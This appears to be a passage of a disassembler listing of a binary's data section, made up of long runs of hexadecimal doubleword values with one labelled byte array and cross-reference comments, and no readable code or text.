dd 80194C7Bh, 0D2BA0030h, 49FE7EAh, 0B7333449h, 0CB08F4h
dd 0EA0ADC21h, 0BFED8A69h, 54514A06h, 0C13325h, 5E2A912Fh
dd 0CDBB9F3Eh, 36CC1606h, 210224h, 1889A34Dh, 0D1119666h
dd 823BEC00h, 7ADBE2B3h, 9B590024h, 1FFE2833h, 84A0A58Ch
dd 970C34BDh, 18427C53h, 66A90371h, 30274AD1h, 14B6593Ah
dd 80A42506h, 90799810h, 54AE0699h, 8DEB12Ah, 0F2212C67h
dd 655079E0h, 93A700FEh, 44D90408h, 67309B97h, 0FBD686Eh
dd 606B7051h, 0C1C31063h, 78CEC802h, 5368264Bh, 7A6B7C18h
dd 8806836Ah, 0CF5AB9A9h, 7A977510h, 9B0F00A2h, 0E368F3FFh
dd 0D8720112h, 7317D100h, 6F08321Ch, 49DE16ADh, 5B10007Fh
dd 5CFC2319h, 504E9900h, 42044A38h, 0F76E07FAh, 27BB8E3Bh
dd 94D40073h, 7E00DCB2h, 9F3C3A97h, 0E34BECh, 4612BA0Ah
dd 0FFE5E288h, 2C975400h, 0A2DA281Bh, 8F8706C0h, 207BF6D8h
dd 0E31DE776h, 0C2C0BF82h, 73CF693Dh, 0E611077Dh, 1C1A265Fh
dd 6431FE28h, 0D27B50E0h, 5872050h, 0DF600074h, 0C64868D6h
dd 28C09827h, 0ADD0B86h, 0E87C72h, 0FAA7BAEDh, 11336916h
dd 30180560h, 0DA6775h, 52D5D287h, 0DDED4D31h, 0D1CF441Dh
dd 0E7500FCh, 5E18414h, 0A5F3005Fh, 9D9E7767h, 9517988Bh
dd 0AA005EFCh, 484F09D1h, 30053EA6h, 56FB2A86h, 0E201B0B1h
dd 6DBC8476h, 97FC6EE7h, 405F00F4h, 64B9EB94h, 840F1985h
dd 8FBAFE54h, 5E46C079h, 1630FC8Ch, 4F4937h, 0CBFBB08Eh
dd 6AE8B223h, 5205F67h, 52BE49E0h, 0E21F0171h, 80E542A1h
dd 0D3418010h, 6301E912h, 607FF865h, 114B3956h, 18C0175Dh
dd 46DF84ACh, 570A0640h, 41F9FB4Ch, 58E7F00h, 490F7D4Bh
dd 0A0FE1E52h, 0CDFC811Ah, 18BCE2h, 68A37D4Dh, 803C2077h
dd 629FE4E2h, 0AD2C7565h, 0E132FB9Bh, 493C3076h, 33D45611h
dd 16806988h, 0F1644954h, 3D518B5h, 0C71019D4h, 81451C3Bh
dd 0DFF38691h, 0C0BA5166h, 62DDCF0Ch, 4B06E218h, 63C5B79Bh
dd 507F0110h, 6EF6E067h, 0D464E436h, 0D80B4600h, 3B415585h
dd 0EC500065h, 488D7196h, 15FE029Bh, 5F036700h, 90886395h
dd 448E0F14h, 0B3D31Ch, 39B34B46h, 3B007BD8h, 0CEA402FEh
dd 289791h, 0DAE47C15h, 0CFD66081h, 880BDE00h, 0FAD5CA55h
dd 0A7E13928h, 103A007Ch, 4D2A86B7h, 0CB1F29F0h, 3800229Bh
dd 73326841h, 5254002Ch, 0BBDA5197h, 0AB0024E0h, 41E9369h
dd 70E31DAEh, 113C032Bh, 18515AA9h, 69A0CFCBh, 0AE0034FCh
dd 0BD40A29Dh, 6E39BF4Ch, 21180895h, 99402615h, 0BE84015Eh
dd 0F13C5362h, 738A00D4h, 0E4C65860h, 0AE6CA300h, 0B6F981A6h
dd 67D1AB0Ch, 607130C3h, 556A704Dh, 0E70FB778h, 8CDF0817h
dd 0C5E49FCh, 0BF40ACCFh, 0A32EDC11h, 3123918h, 2B3F1106h
dd 21EE6008h, 4E183A85h, 17A37200h, 0D1EA2648h, 83B80038h
dd 65873401h, 5B50DC53h
dd 0AA7C5ABDh, 0E0F4613Bh, 0FD6B390h, 98FD6708h, 0D1EBB354h
dd 8F299001h, 2933D3Bh, 19E578C5h, 0C24560h, 43CD2181h
dd 509CA163h, 4CFA1600h, 9580B07h, 5E51016Bh, 41023F73h
dd 5A2E20EEh, 84FD2500h, 79A42AC1h, 0A5EABEh, 99CE24FEh
dd 625DA831h, 7FC8E500h, 0CD0A8506h, 6E8B00AAh, 8DAC569Eh
dd 0EC006A25h, 34DF39FCh, 1688C119h, 5523EAh, 100302A1h
dd 6B3AFBE3h, 3E00F29Ch, 4EF65D77h, 7BDA5EEh, 92862DEDh
dd 0E7CF97FAh, 5E3FC10Bh, 0BCE5F0ECh, 7A69C600h, 0FB59875Ah
dd 3E3A00A4h, 0CF61DE65h, 800663C4h, 78AE7A68h, 75D40020h
dd 763B653Fh, 7774AD2Eh, 3EF510C0h, 3DE1283h, 565F23ECh
dd 0EAA3224Ah, 369A3100h, 28E8A583h, 0F8D5F02Ah, 40B023h
dd 1B2DCCB2h, 92505E7Ah, 0A8C074F0h, 7DCA3F38h, 3A78CA7Fh
dd 0F0465638h, 2A591E00h, 0F6D3DAD6h, 0D0C05231h, 0E2E46BF2h
dd 4059C15Ah, 807A226Ah, 4DC0E368h, 9E6FF1h, 1CCB6208h
dd 0F0661F5Ah, 0C000FB0h, 64AF2C42h, 0E22D4056h, 39A4E085h
dd 380692Eh, 2B6576F8h, 1A007341h, 8EEFB2D9h, 0EDF2C9Ah
dd 68696D3Ah, 8535C15Dh, 0C744CA88h, 0A5AC3DD0h, 0E9720907h
dd 6B60F2AFh, 0F1B791h, 0F9981147h, 85E1A829h, 65710B00h
dd 7DD2459Ch, 6DF50012h, 1E9F0ABFh, 0AA5CE129h, 43ED00A0h
dd 0EA9928B6h, 9A493091h, 6B35C230h, 7270F3Eh, 977DD1CDh
dd 7F0594C0h, 8EC5304Dh, 24723410h, 4B83D500h, 1F4A6260h
dd 76F5030Bh, 1D262E30h, 21A34810h, 0F7D8EA03h, 78EEB6FCh
dd 19C32F7Bh, 0F8069DE0h, 0A21B1Ch, 0A1D773DDh, 51BE0131h
dd 0C3639300h, 0D05EF02h, 7EFB033Ah, 45746D27h, 0B8A059E3h
dd 0DC03167Ch, 0B36608D1h, 0D758031Eh, 2CCC03FBh, 69EF8F8h
dd 3A8EB203h, 0A0A34A79h, 14C19169h, 80B8CF65h, 0C5776A00h
dd 25F34F6Bh, 5EB16C00h, 0E84210F8h, 0B3FA3E2Bh, 0A8CF1600h
dd 2FD9C3EBh, 8E12F73Dh, 62A7844h, 7D401088h, 86FE1FCAh
dd 40B41F41h, 22F69B04h, 0C300EC3Ah, 0BE4627F4h, 0C39FD180h
dd 0DEAB5671h, 17C076A3h, 57074A2Bh, 0A0BC1B4Bh, 25CF4910h
dd 0FA850091h, 0B7C19689h, 4D005064h, 4E134363h, 9837F2D4h
dd 1B4205DFh, 0C3274835h, 6103025Fh, 0C1032A76h, 71FF83Bh
dd 370E30F7h, 0F20F58A0h, 83A66200h, 0BEBF7EC3h, 0F6F70C26h
dd 0CEB02C3Ah, 85084700h, 0CB55A482h, 8E9602BAh, 2F23C8Fh
dd 0FE120840h, 0C97BAF14h, 435880A0h, 79DCA01h, 32F7022Ah
dd 0C748C5C0h, 76E34F5Fh, 0F1028AF2h, 65BDC7A5h, 3EE077DBh
dd 0BFF8E026h, 0F8DE9E00h, 9F46F0CEh, 9AF4169Ch, 0B4B6009Dh
dd 78827131h, 379883Ah, 6DB32F87h, 0CDCE03E9h, 94F76B83h
dd 0EFC0083Bh, 0E945A020h, 0E795EFh, 7B558C7Fh, 0EBAC5B96h
dd 93002FE4h, 63BC7CEAh, 72F50C48h, 79094CB9h, 9A1B5B0Eh
dd 31D58160h, 31D420Eh, 8EFAA932h, 0D88C0830h, 7BE78240h
dd 9B6A0158h, 0A3CFB7FAh, 0B5089872h, 3B5BE821h, 0AE80ADD5h
dd 659F0E29h, 2131A89Bh, 12F6C963h, 7215B4C8h, 0E19F039Dh
dd 3321AA02h, 11874000h, 7820441Bh, 7AF533E7h, 66E06028h
dd 0E8C0A6ACh, 0B56B6293h, 0CE0E67Fh, 0E803970Eh, 21C08408h
dd 0E3B57343h, 78AB2825h, 24B151BEh, 0B56D30CAh, 506B8108h
dd 7895580Ch, 0D3F1B51Fh, 0FA1A0C82h, 581013B2h, 5100AB01h
dd 0C2ADCCECh, 0E701051Fh, 26569416h, 5AD1B770h, 0E7131170h
dd 13FEDC0h, 0BF19ECB6h, 0C4C5D59Fh, 0A90014B5h, 0FD067808h
dd 0E41F47Ch, 97AB669h, 43EFC680h, 0DE0152B1h, 0E66D28B5h
dd 8982588h, 0BC232165h, 0D1F35200h, 87804D6Ah, 0D048C06Ch
dd 9D97559h, 0F218F7B8h, 63300493h, 1CAF069h, 354CB1A3h
dd 8C0FE88Fh, 20E68109h, 0A4210106h, 0A1502B4Ah, 3559C862h
dd 0D9887303h, 0D8CC1D9Ch, 744BA834h, 0A18C6F0h, 19069050h
dd 0ACDDB809h, 0CFF048h, 733A07CAh, 72924526h, 1848EE3Ah
dd 3020628Ah, 0A7071C1Eh, 83E95FF6h, 0C57AF109h, 0B741A800h
dd 53BD3D36h, 88CF0093h, 0BA994BACh, 240BB5FDh, 8C20FE01h
dd 1772F086h, 0CA23D66h, 2DE990A4h, 0FE69A067h, 2E525B60h
dd 769C30B9h, 77A1B2BEh, 0AF53A0A0h, 0BF0BD93Eh, 880A7F71h
dd 64B90918h, 0BD07BB40h, 64C0D175h, 70319D4h, 893D918Fh
dd 0F1AAA7A0h, 8861F15h, 7623C0h, 4CB4A3C7h, 448694EDh
dd 0DE00D376h, 1EAA55A3h, 7C8B6F2Fh, 6D66147Ah, 606228A0h
dd 0FD008843h, 0E15D1B1h, 9C4826D6h, 0CC02E240h, 0DE090E27h
dd 36F26Ch, 0B282CBB7h, 24891EA3h, 8C3F409Ah, 9107A55Fh
dd 8DCF0200h, 6ECA7DBEh, 0C5DB1E66h, 719D00ADh, 63289290h
dd 9B228C00h, 19BC2E0Dh, 53A6075Fh, 0FFD6A846h, 5A96CA38h
dd 0B4677A28h, 0F29FD900h, 36C9EAC8h, 77E900B3h, 72AE249Ah
dd 0ED036C76h, 9888F4CEh, 0D42380C8h, 4DD900A5h, 31F58002h
dd 157341DCh, 3401ADF0h, 67953079h, 0F2E4EF71h, 627800DDh
dd 0FAF0A2B8h, 0ED006EEBh, 18B6C2Bh, 0F17DAE36h, 0F2E0DBE9h
dd 5831F135h, 0A1DC0340h, 0F46C0EE1h, 478CE229h, 9B004A21h
dd 0DB82E5FEh, 1DCA086h, 0A5954E48h, 0D544B8F0h, 966083EFh
dd 61B2AA70h, 0F26F3818h, 1A61E013h, 0D5113B60h, 7A3CC0Ah
dd 0EEEB7FB8h, 0E908BCC0h, 7720B061h, 1660CA61h, 544B00A9h
dd 0C8A37C5Eh, 0B011CB9h, 9A6CF0D2h, 3CF94E8h, 7D3F4268h
dd 0B800F177h, 6BAB7AD5h, 34DF430Dh, 2E186682h, 102378h
dd 5273E689h, 7F736F5Dh, 644DF402h, 0C198413Dh, 8804084h
dd 705105A2h, 38E67B22h, 0B913172Eh, 75398D03h, 2FDCC847h
dd 0D64E000Eh, 0A05027EAh, 0D31F631Fh, 169C599Ah, 47694DC0h
dd 0FE550BF5h, 0F27277FCh, 14700C84h, 4948832Fh, 8A1D9500h
dd 0B0335B3Bh, 608B0040h, 81C24427h, 0BC7A80B5h, 9A0128DFh
dd 72CA6C5Dh, 0E0BD5883h, 1DB8326Bh, 0DE30C462h, 0A3D0199Fh
dd 0CFC00B5h, 85AAF1FAh, 223FC10Eh, 2E460025h, 0DBB06274h
dd 0E06DB899h, 3D790C19h, 38685686h, 84F9800h, 0B21FC03h
dd 19275C41h, 3DAF3860h, 29CB11E9h, 841080DCh, 0F8E8759Fh
dd 7B18C36Fh, 99C8E53Dh, 0C700CC67h, 6C506655h, 0C2C27EEh
dd 46F8D28Dh, 0E23A3240h, 55750043h, 0AE010D79h, 0BF8A016Dh
dd 46F6E83Bh, 0E83EE570h, 683D6F63h, 31BD8043h, 54727DB4h
dd 0D8600923h, 55AE48h, 62BA7184h, 0F820D830h, 0ED9879B2h
dd 15606700h, 7718D487h, 0A0E80073h, 0C9088C78h, 311F97B2h
dd 21CCCFC0h, 0C094E7Dh, 20787242h, 39602F68h, 80DC1296h
dd 243F0067h, 0DEB92704h, 91799D43h, 5B6D48h, 70F180C1h
dd 69C5F0Bh, 99CDB712h, 81F198Ah, 0B100DD84h, 0E9181372h
dd 98340089h, 6D12FFD1h, 96982082h, 70B1B500h, 80DA3206h
dd 97EC00D7h, 171BD516h, 0CB0F63F4h, 0E162D96Ah, 0ECBDFE9Ah
dd 4B302F21h, 0D3C90A4Ah, 0A9155Bh, 64DA5126h, 803C0D57h
dd 0AA310154h, 7DCB3E66h, 82C1AFEDh, 1DBE085h, 0E99C4364h
dd 30A6AAC3h, 207CD937h, 0A8700EC7h, 728D195h, 0E49F649Ch
dd 8ABDA092h, 653069DFh, 4C9E976h, 677D00B6h, 96125F7Ch
dd 8300CB79h, 2CE1F1C4h, 173BB3C8h, 3600661h, 43ED8689h
dd 0C0EF5DCBh, 4F35CA3Dh, 21F56802h, 0E1946267h, 0CEF4EA30h
dd 7FF158E4h, 2A66050Ch, 21C05109h, 6E4CFDDh, 0C1880C1Ah
dd 5F18AAC4h, 0BA4E620Eh
dd 7C96C0BCh, 0A18AABh, 9010DCE9h, 0E644616Dh, 5B5440C7h
dd 8E8C0140h, 0B6A20067h, 0C35610DAh, 7C00D628h, 894D8F1Eh
dd 3C2092h, 0C1118E65h, 16DF91C9h, 0D49DE403h, 4AB6631h
dd 237FCA78h, 0D9E800Ah, 0DF3A6C26h, 9E34180Bh, 878F20h
dd 0D96DC023h, 37241338h, 266C4Ch, 0CB11ED8Ch, 18966957h
dd 0A0EC4829h, 3B38E79Dh, 54DF810Dh, 0FBDA068h, 6C3001CBh
dd 2477CBEAh, 762885C5h, 0A81D5AEBh, 0B2313F41h, 0F5D13E21h
dd 980321B8h, 3546B053h, 0BE4E54E9h, 2EAE9850h, 54402D70h
dd 7BAC9Fh, 30673627h, 46581E21h, 0C80E460h, 0EF5EC61h
dd 0CE25FE71h, 2F98BA21h, 0CB18FCAEh, 40517600h, 639C3303h
dd 0F8781F3Ch, 2B9740E0h, 9A963460h, 9646B00h, 76135D9Bh
dd 0C19E0098h, 0F0B2DDFAh, 0AF0F19BAh, 7FC7EBA2h, 77102C00h
dd 43E65Eh, 0A57A4501h, 0A3F19586h, 84882000h, 0D69641F9h
dd 0F1B9840h, 0C524BF7h, 6E4CE660h, 0F8002A69h, 78952201h
dd 16C1AD2h, 0F40E94C8h, 30681856h, 0C707AF6Ch, 91B0A772h
dd 0A1814150h, 29A40051h, 0F1846BA2h, 0B9000F7Eh, 0E1DCAE83h
dd 314EFFA6h, 1F30CD3Bh, 2444C4C6h, 0DE7A5300h, 65670EFDh
dd 752F003Ah, 47C9B4BFh, 0A80079CBh, 56698801h, 3CA086Ch
dd 0F8C062F0h, 70810204h, 0E0198041h, 0FCEE0E59h, 8BFF0175h
dd 865FE92Eh, 40D7E876h, 0C7924107h, 0D5A08EFDh, 9AB82Dh
dd 0B1F4D67Eh, 0CAD75978h, 0EEA16703h, 0ADEF3D16h, 227138C0h
dd 6419008Ch, 0E70E02ABh, 0F616159h, 7F560610h, 33685030h
dd 0E28945DDh, 0AC06D0D6h, 0AD2E9582h, 0C1FE00F0h, 0AB06BB94h
dd 0FC3E33DCh, 657D00ACh, 0A0BFB485h, 5888F4A5h, 806DEA1h
dd 0E8C5EF12h, 744FC101h, 37DB7C3Ch, 0B98BE8h, 639689F1h
dd 4BB416D9h, 3600FDE4h, 8F1F92EAh, 24F9ADh, 0CBE33E22h
dd 1407EE4Fh, 34F6B700h, 414EB2E4h, 27F700D2h, 3537BEDEh
dd 0C5008971h, 329894CCh, 1D309042h, 9188CFh, 0F5088137h
dd 160B3328h, 3B63Fh, 974FA172h, 0D5230035h, 0D629FAF8h
dd 0DC005767h, 0B9E283F4h, 1F611FEh, 15C9952Ah, 8087F920h
dd 0DA12EA50h, 9C5CCBh, 0E4B96C77h, 910D762Bh, 0AFC56E00h
dd 5AC0E340h, 1F997C92h, 0A243FDh, 68279A69h, 80B5373Bh
dd 24309204h, 517500E4h, 56E30510h, 52006B6Eh, 3F5FAFA9h
dd 161297h, 17B74D1Ah, 0E5FBCA06h, 0D27DEE0Eh, 0C3FACEB4h
dd 1C811BCDh, 70C89298h, 0CBC63008h, 0B3F09C00h, 0AF0D6F4Eh
dd 0FAF7052Eh, 0A224ACh, 0F065EAC6h, 90001A10h, 624F540Bh
dd 0A0EB4AF1h, 4D609Ch, 0B2B405ECh, 97AA44E3h, 0ABEDDA01h
dd 3A28DBDh, 8F95F8h, 126EAF80h, 262458BFh, 512E5400h
dd 0FE79F69Dh, 85E5008Eh, 0D50C80A4h, 0CA0F5737h, 5CC01782h
dd 18DDF7C0h, 98083B54h, 0E0F500CEh, 0A3D2D510h, 2B1E4F36h
dd 0ECC0D8A5h, 9B4202C2h, 68D00063h, 384E239Fh, 29060D89h
dd 3DA57DCh, 624A0038h, 91FFB746h, 0CA006D9Dh, 9A52B3FEh
dd 211898h, 0AADA8CCDh, 511B67CCh, 961D61F8h, 0A74E354Fh
dd 2B31E7C7h, 26C900CBh, 739388ABh, 0BD19003Eh, 0DEEC0D4h
dd 580AD752h, 0FBCCEC96h, 0E75A5601h, 0E6F71064h, 88DA0789h
dd 81A3D17Eh, 814DE96Ch, 84B84518h, 3EEC1CA7h, 1FFF382Eh
dd 28826C18h, 0F500F7D5h, 8F485A5Ch, 1504B144h, 0B8C7B413h
dd 9D173300h, 64EA8A1Bh, 4AFB1800h, 0A7D79B5h, 3F6BEE87h
dd 0D43B4904h, 0C53C5780h, 0A5B32DE6h, 180024B0h, 4D473F56h
dd 8271D4h, 0D0E4E82Ch, 0E236D64h, 1DE3C339h, 73FCCCBh
dd 7506E616h, 0BA101D40h, 40C21D95h, 5AD4C31Ch, 0E7E0173Fh
dd 0E1007C27h, 2080783Bh, 7CCAA0DCh, 402C001Bh, 0C7D0E43h
dd 0BD3729C3h, 56C03050h, 7FD0F3Ch, 91B7847h, 9197404Ch
dd 0FBB0298Bh, 89531C0Ch, 186A3871h, 78A43BA3h, 461C0E4Ch
dd 2CEBAE65h, 43C1E570h, 244D800Dh, 0C47096D0h, 72B80F8h
dd 0C9B6AAEDh, 7F860119h, 0E74A0658h, 0D1208673h, 80180Dh
dd 17D9E88Dh, 855881FBh, 462C41C0h, 304861E9h, 8B78449Dh
dd 0B600878Ch, 3167C519h, 0BF021Eh, 9032E993h, 8CD1BDEh
dd 4B584E01h, 2CA5D386h, 0F8736082h, 24A04AD8h, 19B513EDh
dd 4E146800h, 0B21B8096h, 20952888h, 51C30C88h, 55309930h
dd 0E8F0660Ah, 1D00ECCDh, 0BE111587h, 961904F5h, 81694ECCh
dd 802A3789h, 0EE2F0D20h, 54C28177h, 0DCB062h, 3210C53Ah
dd 0B0F0AAE4h, 71C8B300h, 0BC03EEADh, 0A343001Eh, 6A41D8D6h
dd 0A0F94CFh, 0C4173180h, 1893A62Eh, 0F6D0E80Ch, 2C530A76h
dd 0AAD0F1CEh, 0DBE73F34h, 7EF3CF0Bh, 531C77F6h, 7A92C900h
dd 171C480h, 62781666h, 0EB675F34h, 363502AFh, 0A803404Bh
dd 0EFC27016h, 5A200660h, 40D92990h, 77307377h, 2D30191Dh
dd 0F99540B7h, 53203900h, 82A9F4BBh, 302B0C96h, 73583411h
dd 1BB25703h, 9125D74Dh, 0F06FA3DCh, 0BDB00AE8h, 37FCBC00h
dd 4BE98975h, 3E100005h, 1669247Fh, 760034A2h, 0FDFA4E7Ch
dd 0AC8F6Bh, 0D743188h, 0D4C5E749h, 7D4B6E0Fh, 418BE05Fh
dd 0B56299h, 8C711EB7h, 0B824591Ah, 2EBF6900h, 0A3015414h
dd 6AB50037h, 45E04112h, 0F31F7AB2h, 0D4009E8Eh, 5FB851C9h
dd 143A3F21h, 0EE713E80h, 7DA3C775h, 0ED007BECh, 0E42AB75Bh
dd 3D36F0Dh, 856DC566h, 32A0CE7Fh, 600C7483h, 1091A408h
dd 0C104A79Eh, 0BFE57A2Ch, 0A7F80010h, 0E4DA59CDh, 2B970031h
dd 558F26BCh, 2AFAC498h, 0A5669D02h, 0E0E2AC16h, 0C764A8h
dd 81395936h, 0BA7270F3h, 15710500h, 2F6B2E3Dh, 11E0085h
dd 9E146C16h, 0DE0030F3h, 0BED3AA28h, 0DF551Bh, 132D1F36h
dd 7C4C4E3Bh, 6CB75800h, 420B9270h, 0FF1000A8h, 0A4B7AD5h
dd 0A90041E9h, 21804A56h, 9E507Ch, 1599F0ABh, 910FD747h
dd 69F1E30Fh, 171CC00Bh, 0B7CFDEh, 0DDC822F0h, 18840EAAh
dd 0F6D55Ch, 59B6F239h, 72354E77h, 6F780BFDh, 0B280B4FAh
dd 3993387Dh, 5E929C00h, 189E0919h, 66A2025Bh, 2B1EEBB2h
dd 516EBCA0h, 5890F941h, 53E53000h, 2F2DFBEFh, 0E4D50021h
dd 0C8424D40h, 0C40EFA8Ah, 4FC57245h, 80106F06h, 54E75033h
dd 0B6020F1Fh, 0C8349AE9h, 78E5E400h, 5150D359h, 0AD004A74h
dd 0B03B7F6Dh, 6FCF1D09h, 94E188E7h, 8092435Eh, 10903120h
dd 4DCC1Fh, 7739F57Ch, 0D4D853C9h, 0E30082EAh, 0CD4FCA38h
dd 366811h, 954D5094h, 3017CF92h, 19C12F03h, 11673FC6h
dd 0B7A5389h, 6E51F5h, 4AD72096h, 0E450F597h, 35CC982h
dd 36CC18DEh, 0F3B86333h, 8700C2B0h, 701FF191h, 0D402F0h
dd 640686B7h, 25FA5982h, 0E6B63Eh, 0C8C52E7Fh, 90DA41CBh
dd 0F48AFA00h, 432424A9h, 3E140034h, 0DA653CFDh, 6BD88100h
dd 4925BA07h, 0DF0F0067h, 0D677CF21h, 5C00F688h, 5B862F04h
dd 3B87AC6h, 1BEBBE29h, 0F6D0288Bh, 0B100174Fh, 80EF2E8Fh
dd 1A97A08h, 5311BB4Ch, 8174CB47h, 8CB91DC0h, 52C0E241h
dd 50480037h, 0CB58DDBBh, 850EEA89h, 876EF4h, 0F29DF6BAh
dd 5E1001Bh, 3952E4BEh, 91000A6Fh, 218D7A2h, 708186h, 0D02966B8h
dd 0A79E08C2h, 0C0DA4D00h, 0D287E3DCh, 42CC0084h, 7659F028h
dd 0CE00326Ch, 5664DA8Ah, 21BAD87h, 7258D65Dh, 5FE3DE43h
dd 44C11FA2h, 0C7218F42h, 0A4EBE037h, 24B50413h, 801C3F82h
dd 52DD7048h
dd 0E870BA20h, 0D4A8D571h, 880185BBh
db 2
byte_530055 db 61h, 26h, 79h ; DATA XREF: ___:off_43811Co
; ___:off_438134o
dd 73C84721h, 14484D6Fh, 703F16h, 80C85BF2h, 0FA00499Ah
dd 0A1195F2Dh, 30F27E29h, 0F1904A9Fh, 0CAF8DBFCh, 0C984490Bh
dd 0B66D87EFh, 7FA639E0h, 85420064h, 5B98630Bh, 6D00C6A1h
dd 0F55181C2h, 0F4D34546h, 1CC102D2h, 91796EADh, 4EF16A40h
dd 89DFB000h, 24A02BE1h, 87F403CFh, 0A5B99634h, 0E077C092h
dd 3460B91h, 129105EFh, 0C07D6774h, 635980C0h, 19883A19h
dd 0F81DF6C7h, 0C1192069h, 0E69FD600h, 285AB168h, 4AED00C2h
dd 0B0D36C44h, 6B480821h, 5B3F48h, 0ADF4E268h, 2A5F0Bh
dd 88DB923Eh, 0FDE980ECh, 0B50199E2h, 0A4D76B36h, 68FA791Ah
dd 0A6EC00Ch, 0B33C6364h, 1D36008Bh, 0BABB5642h, 7A0140ECh
dd 0F5CDB59h, 0A820D468h, 0E3A600EDh, 8B0E14C6h, 0D005A306h
dd 0B76267CCh, 4B25E840h, 179447h, 2EFCDB56h, 9779247Ah
dd 76057200h, 0EA8F662Bh, 698800D3h, 0FAD5B290h, 0F900AC02h
dd 0C94D7912h, 0B41AB8h, 0B971D93Ch, 0B9CD548h, 2FFAD000h
dd 0BBE1DEDAh, 7C3FC08h, 89F2145Eh, 0F93420D1h, 0D300CF81h
dd 0FD6E5DF8h, 124E2Fh, 3D74F41Dh, 7D9C794Fh, 4CAE8B00h
dd 6416C92h, 1C8D0071h, 9A2EAD6Dh, 4B00EDB7h, 5A46B52Ah
dd 249CA2A7h, 508CD223h, 3603E852h, 0A277F35Dh, 0DD3D84Fh
dd 0CF413AF2h, 89130909h, 8569C31h, 91230970h, 50187B1Dh
dd 0F70001CBh, 18FE3F86h, 1C24CE8h, 7E0C7263h, 0D0892C4Dh
dd 41025F7Bh, 9BBAF645h, 0EBF840A5h, 0C7A90743h, 73A108CAh
dd 0C08E3C2Dh, 0D8B0A49Ah, 444D5F00h, 0BB67544Fh, 868C00ADh
dd 3B4037DFh, 0D7501CCBh, 0B01444ECh, 0B034871Eh, 8760C62h
dd 9E0AACA8h, 26C08F9Ch, 42C52739h, 0E28FA52h, 10A3E77Ah
dd 805385C4h, 469CE036h, 0E4407003h, 88870325h, 78C4BD4h
dd 28C52302h, 7C8E2075h, 0A073738h, 0FE49E97Bh, 61713A00h
dd 0FC5900E2h, 0B6ECBF65h, 4200A2D9h, 159644A1h, 500C4C9Fh
dd 0B71AC85h, 6ACDEACFh, 973B5480h, 43006FC4h, 0E06429FDh
dd 5AB00Ah, 3F9F3AA5h, 0BCEAEB75h, 453A8BFEh, 666C8FFCh
dd 2E405EA1h, 327A6003h, 919B1F76h, 0A12C0A5h, 0A9D5DB3Ah
dd 0F400F978h, 20B7B998h, 3DB3CE30h, 0B88F4AAAh, 0D405DFEh
dd 0E982F6D7h, 9F442D00h, 8851F8F1h, 0AC84011Ch, 3C45D017h
dd 0E38C308Ah, 8700D27Dh, 2736AA6Fh, 24DC679Dh, 988476h
dd 0E69ABA0h, 290E3D0Dh, 0A0E899D6h, 60C9D9F9h, 36E20735h
dd 0C070DBE9h, 57ED3856h, 0B82AEB0Eh, 3568E0AFh, 92A0B24Ch
dd 65201E5Ch, 2DF5C096h, 971C9079h, 0A395230Bh, 518A059h
dd 6B15FFh, 0DFA19AABh, 0F077749Ch, 4826301Eh, 0B38D2DC0h
dd 0EECA4F7Eh, 59F30968h, 2281A914h, 3118FDADh, 9981E460h
dd 26280148h, 2C40F47Fh, 0EEB0E3h, 0B6CD3098h, 0F2E5C264h
dd 8A6A1400h, 52572CF6h, 0E68400F3h, 73E84A22h, 0CE034D7Ch
dd 16BF9D28h, 0C542EA0Ch, 0B5EA8014h, 9FC6172h, 50C7308h
dd 339108BCh, 900AEC62h, 0E28A48h, 5362F648h, 121FD50Eh
dd 68CAB50Ch, 128C9B9h, 19A1C6AFh, 0ECF979E6h, 0B5128527h
dd 0DC4042FBh, 0E09F4722h, 407C91E5h, 0A196BD4Fh, 0C0032107h
dd 78508ACBh, 3B6786D1h, 33070F73h, 70557731h, 832EC0ECh
dd 0C104BD1Ch, 0CDB95B00h, 5C9DE2h, 25DCE674h, 0FC673921h
dd 8135A00h, 8EFBD0EDh, 52A8002Ah, 3634114Fh, 0DC002F92h
dd 0E734284h, 2D6C94h, 62FD0907h, 0C39E1240h, 2ADEA700h
dd 0D1C94703h, 181E09Ch, 157CC12Eh, 3095BB38h, 0C5007150h
dd 9A920826h, 7F1CBEh, 0B4E080E8h, 8C033625h, 0B0C85Dh
dd 3E378FF8h, 406A5155h, 60003332h, 9DEBC9E0h, 0C778B27Bh
dd 90FE1619h, 4FAF40D8h, 8258D400h, 8C6BAC11h, 545705DDh
dd 903265A1h, 58C3C490h, 56687B65h, 0FD071380h, 66899E7h
dd 581E1A3Bh, 8443C905h, 0D430058Ah, 92656F78h, 6AE80100h
dd 0A648D12Eh, 7428D1C8h, 0F175F674h, 0DDD6C600h, 37F421FFh
dd 5CE90146h, 0CBD36DACh, 134C70EFh, 0D83D3509h, 0BE1C00D0h
dd 0C5A76Fh, 0B66A2F34h, 9F5BD288h, 7B60C713h, 1CDA807Ch
dd 0C09E9A59h, 7E7A772Fh, 8300F86Dh, 0D82C2D5h, 0E6C306DBh
dd 5C08BA29h, 8584868h, 0F84F6D14h, 315E0780h, 85007253h
dd 65229DF8h, 0BBA6EC6h, 2D286C83h, 2E00E495h, 0F3274CA9h
dd 2F3704B9h, 0C27C9730h, 0E4609EA4h, 6A0022D0h, 798F24D5h
dd 0B97F89A4h, 8AA7E0D8h, 1712BCF8h, 0BC481DCEh, 0D02758FDh
dd 9C749F24h, 16F53983h, 18500ED9h, 0B923BE46h, 210F57A1h
dd 126CF7F6h, 90D31C40h, 1FBD65Eh, 691FED37h, 309C4ABFh
dd 0C6132BB0h, 0C208D29h, 2E169147h, 8058668Bh, 0BF279D93h
dd 84055442h, 0D1C5E590h, 90F0D423h, 74B952h, 2DD61661h
dd 0F644F58Bh, 7EFD4500h, 0FBC9D770h, 0BE091FC1h, 93488069h
dd 96D25C5Dh, 7C006370h, 295A56DEh, 32CFA2h, 75BD9095h
dd 0CC03154Ah, 5C975500h, 2EDE2C81h, 2477A6h, 12D9CDDFh
dd 7EF98D0Bh, 54AA8300h, 4E6E7306h, 0FAC50081h, 0E2E3DF2Eh
dd 8300F399h, 885344B3h, 8FC02Fh, 3B4877ADh, 37CC30AAh
dd 1F167200h, 0ECA90BF8h, 685003Ah, 0E37DEBC0h, 0D5EAAE7Bh
dd 5A1F2300h, 0F22A8055h, 64381DEEh, 496005Eh, 6341D4E4h
dd 6E394D00h, 59CDA49Fh, 2FE2F9h, 0DA62079Bh, 0BE81E5B4h
dd 464D48h, 8959BC32h, 0B5DE6h, 97CBCA4Ch, 0FA791095h
dd 827A5700h, 480E1D5Eh, 38CE01ACh, 9F08117Fh, 0BB24E868h
dd 0B5F8600h, 480CE06Dh, 2A010006h, 8AC34064h, 9C0004EAh
dd 3C940382h, 30431319h, 9E789350h, 1100A306h, 0AF3B27C9h
